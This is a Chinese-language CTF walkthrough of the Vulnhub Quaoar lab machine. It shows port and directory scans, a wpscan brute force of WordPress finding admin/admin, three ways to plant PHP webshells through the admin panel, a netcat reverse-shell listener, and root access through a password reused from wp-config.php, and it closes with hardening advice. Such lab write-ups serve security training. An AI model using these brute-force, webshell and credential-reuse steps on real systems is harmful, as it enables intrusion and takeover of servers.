ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Quaoar 靶机渗透测试(Vulnhub Writeup)

Quaoar 靶机渗透测试(Vulnhub Writeup)

Quaoar 靶机渗透测试(Vulnhub Writeup)

一、靶机与环境介绍

本次实战目标为 Vulnhub 平台的 Quaoar 靶机,靶机名取自柯伊伯带天体。该靶机同时开放 Web、DNS、邮件(POP3/IMAP)与 SMB 等多类服务,核心路径为 WordPress 弱口令登录后通过后台写入 WebShell,再利用配置文件密码复用提权至 root,沿途收集三个 flag。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.168。

二、信息收集

(一)存活主机扫描

┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162 192.168.153.168 00:0c:29:ea:83:7d VMware, Inc.

(二)端口扫描

全端口扫描发现 9 个开放端口:22(SSH)、53(DNS)、80(HTTP)、110/995(POP3/POP3S)、139/445(SMB)、143/993(IMAP/IMAPS),是一台典型的集成 Web、邮件与 SMB 服务的 Ubuntu 主机。

┌──(root㉿kali)-[~] └─# nmap -p- 192.168.153.168 PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http 110/tcp open pop3 139/tcp open netbios-ssn 143/tcp open imap 445/tcp open microsoft-ds 993/tcp open imaps 995/tcp open pop3s
┌──(root㉿kali)-[~] └─# nmap -p22,53,80,110,139,143,445,993,995 192.168.153.168 -sV -sC -O PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.8.1-P1 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-robots.txt: 1 disallowed entry |_Hackers 110/tcp open pop3 Dovecot pop3d 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd 445/tcp open netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP) 993/tcp open ssl/imap Dovecot imapd 995/tcp open ssl/pop3 Dovecot pop3d MAC Address: 00:0C:29:EA:83:7D (VMware) |_nbstat: NetBIOS name: QUAOAR, NetBIOS user: <unknown>

(三)目录扫描与指纹识别

使用 dirsearch 爆破 Web 目录,发现 /upload/ 与 /wordpress/ 路径;whatweb 识别确认 /wordpress/ 为 WordPress 3.9.14、PHP 5.3.10。

┌──(root㉿kali)-[~] └─# dirsearch -u http://192.168.153.168 [19:20:42] 200 - 954B - /README.md [19:20:42] 200 - 150B - /robots.txt [19:20:48] 301 - 249B - /upload -> http://192.168.153.168/upload/ [19:20:50] 200 - 1KB - /wordpress/wp-login.php [19:20:50] 200 - 2KB - /wordpress/
┌──(root㉿kali)-[~] └─# whatweb http://192.168.153.168/wordpress http://192.168.153.168/wordpress/ [200 OK] Apache[2.2.22], HTML5, JQuery[1.11.0], MetaGenerator[WordPress 3.9.14], PHP[5.3.10-1ubuntu3], Title[Quaoar | Just another WordPress site], WordPress[3.9.14], x-pingback[/wordpress/xmlrpc.php]

三、WordPress 登录爆破

使用 wpscan 枚举用户名得到 admin、wpuser 两个账号;再用 rockyou.txt 字典对 admin 进行密码爆破,命中弱口令 admin/admin。

┌──(root㉿kali)-[~] └─# wpscan --url http://192.168.153.168/wordpress/ -e u [+] Enumerating Users (via Passive and Aggressive Methods) [+] admin | Found By: Author Posts - Display Name (Passive Detection) [+] wpuser | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
┌──(root㉿kali)-[~] └─# wpscan --url http://192.168.153.168/wordpress/ -U admin -P /usr/share/wordlists/rockyou.txt [+] Performing password attack on Xmlrpc Multicall against 1 user/s [SUCCESS] - admin / admin [!] Valid Combinations Found: | Username: admin, Password: admin

四、后台写入 WebShell 的三种方式

(一)方式一:主题编辑器

登录后台后进入 Appearance → Editor → 404 Template(404.php),在文件开头写入 <?php system('id'); ?> 并保存。

对照主题版本访问 /wordpress/wp-content/themes/twentyfourteen/404.php,命令成功执行,回显 www-data。

http://192.168.153.168/wordpress/wp-content/themes/twentyfourteen/404.php

(二)方式二:插件编辑器

进入 Plugins → Editor,选择任意插件(如 Akismet),在 akismet/index.php 中写入 <?php system('whoami'); ?> 并保存。

访问对应插件文件路径即可执行命令。

http://192.168.153.168/wordpress/wp-content/plugins/akismet/index.php

(三)方式三:上传插件

进入 Plugins → Add New → Upload Plugin,将打包好的 WebShell 插件 zip 上传安装,文件落盘路径为 /wordpress/wp-content/uploads/2026/08/test.php。

访问上传后的 PHP 文件,成功执行 phpinfo 等任意代码。

http://192.168.153.168/wordpress/wp-content/uploads/2026/08/test.php

任选一种方式拿到命令执行后,本地 nc 监听 4444 端口,传入反弹 Shell 命令即可上线,当前权限为 www-data。

┌──(root㉿kali)-[~] └─# nc -lvvp 4444 listening on [any] 4444 ... connect to [192.168.153.162] from (UNKNOWN) [192.168.153.168] 41906 www-data@Quaoar:/var/www/wordpress/wp-content/themes/twentyfourteen$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)

五、收集三个 flag

(一)flag 1:普通用户家目录

查看 /etc/passwd 发现 wpadmin 用户,进入其家目录读取 flag.txt。

www-data@Quaoar:$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash wpadmin:x:1001:1001::/home/wpadmin:/bin/sh www-data@Quaoar:$ cd /home/wpadmin www-data@Quaoar:/home/wpadmin$ ls -la -rw-r--r-- 1 wpadmin wpadmin 33 Oct 22 2016 flag.txt www-data@Quaoar:/home/wpadmin$ cat flag.txt 2bafe61f03117ac66a73c3c514de796e

(二)flag 2:cron 注释

在 /etc/cron.d 目录下的 php5 文件注释中直接给出第二个 flag。

www-data@Quaoar:$ cd /etc/cron.d www-data@Quaoar:/etc/cron.d$ cat php5 # /etc/cron.d/php5: crontab fragment for php5 # Its always a good idea to check for crontab to learn more about the operating system good job you get 50! - d46795f84148fd338603d0d6a9dbf8de # Look for and purge old sessions every 30 minutes 09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] && ...

(三)flag 3:配置文件密码复用提权

查看 WordPress 配置文件 wp-config.php,发现数据库使用 root 账号连接且口令为 rootpassword!。直接尝试 su root 切换,密码复用成功,提权至 root 后读取 /root/flag.txt。

www-data@Quaoar:/home/wpadmin$ cd /var/www/wordpress www-data@Quaoar:/var/www/wordpress$ cat wp-config.php define('DB_NAME', 'wordpress'); define('DB_USER', 'root'); define('DB_PASSWORD', 'rootpassword!'); define('DB_HOST', 'localhost');
www-data@Quaoar:/var/www/wordpress$ python -c "import pty;pty.spawn('/bin/bash');" www-data@Quaoar:/var/www/wordpress$ su root Password: rootpassword! root@Quaoar:/var/www/wordpress# id uid=0(root) gid=0(root) groups=0(root) root@Quaoar:~# cat flag.txt 8e3f9ec016e3598c5eec11fd3d73f6fb

六、总结

Quaoar 靶机的完整攻击链如下:

1. 多端口扫描确认目标为集成 Web、邮件、SMB 服务的 Ubuntu 主机,Web 目录暴露 WordPress 3.9.14;

2. wpscan 枚举用户名并用 rockyou 爆破,命中弱口令 admin/admin;

3. 后台通过主题编辑器、插件编辑器或上传插件三种方式写入 WebShell,反弹 Shell 获得 www-data 权限;

4. 分别从 wpadmin 家目录、/etc/cron.d 注释、wp-config.php 配置中收集三个 flag;

5. 利用配置文件中 root 数据库口令复用 su root,直接提权至最高权限。

对应的安全建议:① 及时升级 WordPress、PHP 与系统组件,禁用后台文件编辑器与任意插件上传能力;② 严禁使用 admin/admin 等弱口令,配合登录失败锁定与强口令策略;③ Web 应用连接数据库应使用最小权限专用账号,禁止以 root 运行数据库;④ 家目录、cron 配置等位置不应留存 flag 或敏感信息;⑤ 对对外暴露的多类服务(SMB、邮件、DNS)应做最小化裁剪与访问控制。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进